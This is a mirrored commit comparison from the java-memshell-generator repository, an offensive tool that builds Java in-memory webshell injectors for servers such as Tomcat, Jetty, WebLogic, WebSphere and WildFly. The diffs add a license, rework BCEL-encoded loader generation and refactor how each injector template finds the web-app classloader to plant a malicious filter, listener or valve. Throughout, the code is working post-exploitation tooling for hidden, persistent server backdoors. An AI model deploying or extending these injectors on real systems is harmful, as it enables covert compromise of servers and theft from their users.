mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
Compare commits
4
Commits
v1.0.9_250101
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
dab77b3ebf | ||
|
|
2b16edb0e2 | ||
|
|
4ce27b2cc1 | ||
|
|
3fe18fa470 |
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2025 pen4uin
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
@@ -410,6 +410,26 @@ public class AbstractConfig {
|
|||||||
|
|
||||||
private String jarClassName;
|
private String jarClassName;
|
||||||
|
|
||||||
|
public byte[] getBytesInLoader() {
|
||||||
|
return bytesInLoader;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setBytesInLoader(byte[] bytesInLoader) {
|
||||||
|
this.bytesInLoader = bytesInLoader;
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] bytesInLoader;
|
||||||
|
|
||||||
|
public String getClassNameInLoader() {
|
||||||
|
return classNameInLoader;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setClassNameInLoader(String classNameInLoader) {
|
||||||
|
this.classNameInLoader = classNameInLoader;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String classNameInLoader;
|
||||||
|
|
||||||
public void build() {
|
public void build() {
|
||||||
// 检查 serverType、modelType、formatType 是否已设置
|
// 检查 serverType、modelType、formatType 是否已设置
|
||||||
if (this.toolType == null || this.serverType == null || this.shellType == null || this.outputFormat == null || this.gadgetType == null) {
|
if (this.toolType == null || this.serverType == null || this.shellType == null || this.outputFormat == null || this.gadgetType == null) {
|
||||||
@@ -429,8 +449,6 @@ public class AbstractConfig {
|
|||||||
this.setShellClassName(ClassNameUtil.getRandomShellClassName(this.getShellType()));
|
this.setShellClassName(ClassNameUtil.getRandomShellClassName(this.getShellType()));
|
||||||
if (this.getShellSimpleClassName() == null)
|
if (this.getShellSimpleClassName() == null)
|
||||||
this.setShellSimpleClassName(CommonUtil.getSimpleName(this.getShellClassName()));
|
this.setShellSimpleClassName(CommonUtil.getSimpleName(this.getShellClassName()));
|
||||||
if (this.getOutputFormat().contains(Constants.FORMAT_BCEL))
|
|
||||||
this.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
|
|
||||||
this.setSavePath(CommonUtil.getFileOutputPath(this.getOutputFormat(), this.getInjectorSimpleClassName(), this.getSavePath()));
|
this.setSavePath(CommonUtil.getFileOutputPath(this.getOutputFormat(), this.getInjectorSimpleClassName(), this.getSavePath()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package jmg.core.format;
|
package jmg.core.format;
|
||||||
|
|
||||||
import jmg.core.config.AbstractConfig;
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.util.ClassNameUtil;
|
||||||
import me.gv7.woodpecker.bcel.HackBCELs;
|
import me.gv7.woodpecker.bcel.HackBCELs;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -9,7 +10,15 @@ public class BCELFormater implements IFormater {
|
|||||||
|
|
||||||
|
|
||||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||||
// 解决 BCEL 的classloader 的问题
|
// 解决 BCEL ClassLoader 带来的问题
|
||||||
|
if (config.isEnabledExtender()){
|
||||||
|
config.setBytesInLoader(config.getExtenderBytes());
|
||||||
|
config.setClassNameInLoader(config.getExtenderClassName());
|
||||||
|
}else{
|
||||||
|
config.setBytesInLoader(config.getInjectorBytes());
|
||||||
|
config.setClassNameInLoader(config.getInjectorClassName());
|
||||||
|
}
|
||||||
|
config.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
|
||||||
byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
|
byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
|
||||||
return HackBCELs.encode(bcelClzBytes).getBytes();
|
return HackBCELs.encode(bcelClzBytes).getBytes();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,9 +17,9 @@ public class BCELoaderGenerator {
|
|||||||
ctClass.setName(config.getLoaderClassName());
|
ctClass.setName(config.getLoaderClassName());
|
||||||
ctClass.getClassFile().setVersionToJava5();
|
ctClass.getClassFile().setVersionToJava5();
|
||||||
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
|
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
|
||||||
getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
|
getClassName.setBody(String.format("{return \"%s\";}", config.getClassNameInLoader()));
|
||||||
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
|
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
|
||||||
String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
|
String base64ClassString = encodeToBase64(config.getBytesInLoader()).replaceAll("[\\s*\t\n\r]", "");
|
||||||
String[] parts = splitChunks(base64ClassString, 40000);
|
String[] parts = splitChunks(base64ClassString, 40000);
|
||||||
StringBuilder result = new StringBuilder();
|
StringBuilder result = new StringBuilder();
|
||||||
for (int i = 0; i < parts.length; i++) {
|
for (int i = 0; i < parts.length; i++) {
|
||||||
|
|||||||
@@ -81,12 +81,18 @@ public class BESFilterInjectorTpl {
|
|||||||
return var0;
|
return var0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private Object getFilter(Object context) throws Exception {
|
private Object getFilter(Object context) throws Exception {
|
||||||
Object filter = null;
|
Object filter = null;
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
if (classLoader == null) {
|
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e1) {
|
} catch (Exception e1) {
|
||||||
|
|||||||
@@ -73,13 +73,18 @@ public class BESListenerInjectorTpl {
|
|||||||
return var0;
|
return var0;
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getListener(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
Object listener = null;
|
try {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
if (classLoader == null) {
|
} catch (Exception e) {
|
||||||
classLoader = context.getClass().getClassLoader();
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) throws Exception {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -64,12 +64,18 @@ public class GlassFishFilterInjectorTpl {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private Object getFilter(Object context) throws Exception {
|
private Object getFilter(Object context) throws Exception {
|
||||||
Object filter = null;
|
Object filter = null;
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
if (classLoader == null) {
|
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -60,13 +60,18 @@ public class GlassFishListenerInjectorTpl {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getListener(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
Object listener = null;
|
try {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
if (classLoader == null) {
|
} catch (Exception e) {
|
||||||
classLoader = context.getClass().getClassLoader();
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) throws Exception {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -164,14 +164,17 @@ public class JettyFilterInjectorTpl {
|
|||||||
throw new Exception("HttpConnection not found");
|
throw new Exception("HttpConnection not found");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
private Object getFilter(Object context) {
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||||
Object filter = null;
|
} catch (Exception e) {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
return ((ClassLoader) getFV(context, "_classLoader"));
|
||||||
if (classLoader == null) {
|
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFilter(Object context) throws Exception {
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -108,13 +108,17 @@ public class JettyListenerInjectorTpl {
|
|||||||
throw new Exception("HttpConnection not found");
|
throw new Exception("HttpConnection not found");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
private Object getListener(Object context) {
|
try {
|
||||||
Object listener = null;
|
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
} catch (Exception e) {
|
||||||
if (classLoader == null) {
|
return ((ClassLoader) getFV(context, "_classLoader"));
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) throws Exception {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -87,12 +87,17 @@ public class ResinFilterInjectorTpl {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getFilter(Object context) {
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
Object filter = null;
|
try {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
if (classLoader == null) {
|
} catch (Exception e) {
|
||||||
classLoader = context.getClass().getClassLoader();
|
return ((ClassLoader) getFV(context, "_classLoader"));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFilter(Object context) throws Exception {
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -65,12 +65,17 @@ public class ResinListenerInjectorTpl {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getListener(Object context) {
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
Object listener = null;
|
try {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
if (classLoader == null) {
|
} catch (Exception e) {
|
||||||
classLoader = context.getClass().getClassLoader();
|
return ((ClassLoader) getFV(context, "_classLoader"));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) throws Exception {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -95,14 +95,19 @@ public class TomcatFilterInjectorTpl {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private Object getFilter(Object context) {
|
private Object getFilter(Object context) throws Exception {
|
||||||
|
|
||||||
Object filter = null;
|
Object filter = null;
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
if (classLoader == null) {
|
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
filter = classLoader.loadClass(getClassName());
|
filter = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -87,13 +87,19 @@ public class TomcatListenerInjectorTpl {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getListener(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) throws Exception {
|
||||||
|
|
||||||
Object listener = null;
|
Object listener = null;
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
if (classLoader == null) {
|
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -95,10 +95,7 @@ public class TomcatValveInjectorTpl {
|
|||||||
|
|
||||||
private Object getValve(Object context) {
|
private Object getValve(Object context) {
|
||||||
Object valve = null;
|
Object valve = null;
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
if (classLoader == null) {
|
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
valve = classLoader.loadClass(getClassName()).newInstance();
|
valve = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -82,12 +82,18 @@ public class TongWebListenerInjectorTpl {
|
|||||||
return var0;
|
return var0;
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getListener(Object context) throws IllegalAccessException {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
Object listener = null;
|
try {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
if (classLoader == null) {
|
} catch (Exception e) {
|
||||||
classLoader = context.getClass().getClassLoader();
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) throws Exception {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception ex) {
|
} catch (Exception ex) {
|
||||||
|
|||||||
@@ -63,12 +63,18 @@ public class UndertowFilterInjectorTpl {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getFilter(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
Object filter = null;
|
try {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
if (classLoader == null) {
|
} catch (Exception e) {
|
||||||
classLoader = context.getClass().getClassLoader();
|
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||||
|
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFilter(Object context) throws Exception {
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -53,13 +53,18 @@ public class UndertowListenerInjectorTpl {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
private Object getListener(Object context) {
|
try {
|
||||||
Object listener = null;
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
} catch (Exception e) {
|
||||||
if (classLoader == null) {
|
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||||
classLoader = context.getClass().getClassLoader();
|
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) throws Exception {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -146,12 +146,17 @@ public class WebLogicFilterInjectorTpl {
|
|||||||
return webappContexts.toArray();
|
return webappContexts.toArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getFilter(Object context) {
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
Object filter = null;
|
try {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
if (classLoader == null) {
|
} catch (Exception e) {
|
||||||
classLoader = context.getClass().getClassLoader();
|
return ((ClassLoader) getFV(context, "classLoader"));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFilter(Object context) throws Exception {
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -140,13 +140,18 @@ public class WebLogicListenerInjectorTpl {
|
|||||||
return webappContexts.toArray();
|
return webappContexts.toArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getListener(Object context) {
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFV(context, "classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) throws Exception {
|
||||||
|
|
||||||
Object listener = null;
|
Object listener = null;
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
if (classLoader == null) {
|
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -202,12 +202,17 @@ public class WebSphereFilterInjectorTpl {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public Object getFilter(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
Object filter = null;
|
try {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
if (classLoader == null) {
|
} catch (Exception e) {
|
||||||
classLoader = context.getClass().getClassLoader();
|
return ((ClassLoader) getFV(context, "loader"));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getFilter(Object context) throws Exception {
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -64,12 +64,17 @@ public class WebSphereListenerInjectorTpl {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getListener(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
Object listener = null;
|
try {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
if (classLoader == null) {
|
} catch (Exception e) {
|
||||||
classLoader = context.getClass().getClassLoader();
|
return ((ClassLoader) getFV(context, "loader"));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) throws Exception {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
try {
|
try {
|
||||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -137,4 +142,46 @@ public class WebSphereListenerInjectorTpl {
|
|||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -62,14 +62,19 @@ public class WildFlyFilterInjectorTpl {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||||
|
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private Object getFilter(Object context) {
|
private Object getFilter(Object context) throws Exception {
|
||||||
|
|
||||||
Object filter = null;
|
Object filter = null;
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
if (classLoader == null) {
|
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -50,14 +50,19 @@ public class WildFlyListenerInjectorTpl {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||||
|
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private Object getListener(Object context) {
|
private Object getListener(Object context) throws Exception {
|
||||||
|
|
||||||
Object listener = null;
|
Object listener = null;
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
